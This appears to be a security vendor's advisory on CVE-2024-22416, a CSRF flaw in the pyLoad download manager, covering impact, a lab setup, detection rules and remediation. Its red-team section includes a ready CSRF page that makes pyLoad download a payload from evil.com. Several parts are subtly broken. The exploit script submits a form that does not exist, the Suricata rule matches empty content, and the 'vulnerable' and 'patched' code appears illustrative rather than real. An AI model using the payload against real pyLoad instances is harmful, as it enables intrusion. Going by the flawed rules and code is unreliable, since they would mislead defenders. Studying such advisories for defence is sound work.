CVE-2024-22416

Executive Summary

CVE-2024-22416 is a critical Cross-Site Request Forgery (CSRF) vulnerability in pyLoad, a free and open-source Download Manager written in Python. The vulnerability allows an unauthenticated attacker to trick a logged-in user's browser into making arbitrary API calls to the pyLoad instance. Because the session cookie lacks the SameSite: Strict attribute, and the API accepts GET requests for any action, a simple crafted link or image tag can trigger destructive operations such as downloading malicious files, changing configurations, or exfiltrating data. The CVSS score of 9.7 reflects the ease of exploitation and the potential for complete compromise of confidentiality, integrity, and availability. No public exploit code or Nuclei template was provided, but the attack vector is straightforward.

Supply Chain & Package Security

pyLoad is a Python-based application distributed via PyPI and GitHub. Users who install via pip install pyload or from source are affected. The vulnerability is in the core web server component, not in a dependency. However, supply chain risks include:

• Dependency Confusion: If pyLoad is installed in an environment with custom PyPI mirrors, an attacker could host a malicious package with a similar name.
• Compromised Upstream: If the pyLoad GitHub or PyPI account is compromised, a backdoored version could be distributed.
• Integrity Verification: Users should verify checksums (SHA256) of downloaded releases from the official GitHub repository.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required; a simple HTTP request suffices.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim must click a link or visit a malicious page.
• Scope (S): Changed – The vulnerable component (pyLoad API) impacts resources beyond its original scope (the victim's browser).
• Confidentiality (C): High – An attacker can read files, download lists, and configuration.
• Integrity (I): High – An attacker can modify settings, add/remove downloads, or upload files.
• Availability (A): High – An attacker can delete downloads, stop services, or cause a denial of service.

Threat Level: Critical – Due to the low complexity and high impact, this vulnerability is likely to be actively exploited in the wild.

Deep Dive & Mechanics

The pyLoad API is designed to accept HTTP GET requests for all operations, including sensitive actions like adding downloads, changing passwords, or executing system commands (if exposed). The session cookie is set without the SameSite attribute, defaulting to SameSite: Lax in modern browsers, but the API calls are GET requests, which are not protected by SameSite: Lax for top-level navigations. An attacker can craft a malicious HTML page with an <img> tag or a <form> that auto-submits to the pyLoad API endpoint.

Attack Flow:

1. Victim is authenticated to pyLoad (session cookie stored).
2. Victim visits attacker-controlled website.
3. Attacker's page contains <img src="http://pyload-server:8000/api/addPackage?name=malicious&links=http://evil.com/payload">.
4. Browser sends GET request to pyLoad with victim's session cookie.
5. pyLoad processes the request, adding a malicious download.
6. The download could be a script that executes on the server or a file that infects the victim's machine.

Root Cause: Lack of CSRF protection (no anti-CSRF tokens) and missing SameSite: Strict cookie attribute.

Vulnerable vs. Patched Code

Vulnerable Code (pyLoad < 0.5.0b3.dev78):

# In webinterface/api.py or similar
class ApiHandler:
    def get(self, action):
        # No CSRF check
        if action == "addPackage":
            name = self.get_argument("name")
            links = self.get_argument("links")
            # Process...

Patched Code (pyLoad >= 0.5.0b3.dev78):

# In webinterface/api.py
class ApiHandler:
    def get(self, action):
        # CSRF token validation
        token = self.get_argument("csrf_token", None)
        if not token or token != self.get_secure_cookie("csrf_token"):
            self.set_status(403)
            return
        # Process...

Additionally, the session cookie is set with SameSite=Strict:

# In webinterface/app.py
self.set_secure_cookie("session", session_id, httponly=True, samesite="Strict")

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Install vulnerable pyLoad: pip install pyload==0.5.0b3.dev77
• Start pyLoad: pyload
• Access web interface at http://localhost:8000
• Create a user account and log in.

Exploit (CSRF via HTML):

<!DOCTYPE html>
<html>
<body>
<h1>Click me!</h1>
<img src="http://localhost:8000/api/addPackage?name=malicious&links=http://evil.com/payload.exe" style="display:none;">
<script>
// Auto-submit form for POST-like actions (if any)
document.forms[0].submit();
</script>
</body>
</html>

Advanced Exploit (Chained with XSS): If pyLoad has any stored XSS, an attacker can inject a script that performs CSRF attacks on other users.

Blue Team (Defensive)

Detection:

• Monitor for unusual API calls to /api/ endpoints from unexpected referrers.
• Look for multiple rapid requests to addPackage, deletePackage, or config/set from the same IP.
• Check for Referer header mismatches (e.g., requests to pyLoad from a different domain).

Honeypot:

• Deploy a fake pyLoad instance and log all incoming requests. Any request to /api/ without a valid CSRF token is suspicious.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /api/ endpoints with no Referer header or Referer from an external domain.
  • Requests containing parameters like name, links, password, config in the query string.
  • Unusual User-Agent strings (e.g., empty, curl, wget) making API calls.
• File IOCs:
  • Unexpected files in the pyLoad download directory (e.g., .exe, .scr, .vbs).
  • Modified configuration files (pyload.conf) with new download links or changed credentials.
• Log IOCs:
  • pyLoad logs showing API calls from IPs not in the trusted network.
  • Repeated 403 errors if a CSRF token is required (patched version).

Detection Engineering

YARA Rule

rule CVE_2024_22416_pyLoad_CSRF {
    meta:
        description = "Detects pyLoad API requests indicative of CSRF exploitation"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22416"
    strings:
        $api_endpoint = "/api/"
        $get_method = "GET"
        $no_referer = "Referer: "
    condition:
        $api_endpoint and $get_method and #no_referer == 0
}

Sigma Rule

title: pyLoad CSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP GET requests to pyLoad API endpoints without a Referer header
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/api/'
        cs-referer: ''
    condition: selection
falsepositives:
    - Legitimate API calls from scripts without Referer
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-22416 pyLoad CSRF Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"/api/"; http.referer; content:""; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade pyLoad to version 0.5.0b3.dev78 or later.
2. Set SameSite: Strict on the session cookie manually if patching is not possible (edit pyload.conf or web server config).
3. Implement CSRF tokens for all API endpoints (if custom development).
4. Restrict network access to the pyLoad web interface (e.g., firewall rules, VPN).
5. Use a reverse proxy (Nginx, Apache) to add additional authentication or CSRF protection.

Long-term:

• Conduct a security audit of all API endpoints.
• Implement Content Security Policy (CSP) headers to mitigate XSS and CSRF.
• Enable logging and monitoring for suspicious API calls.

Workaround (if patching is delayed):

• Disable the web interface or restrict it to localhost only.
• Use browser extensions like "Request Policy" to block cross-origin requests.

Valters IT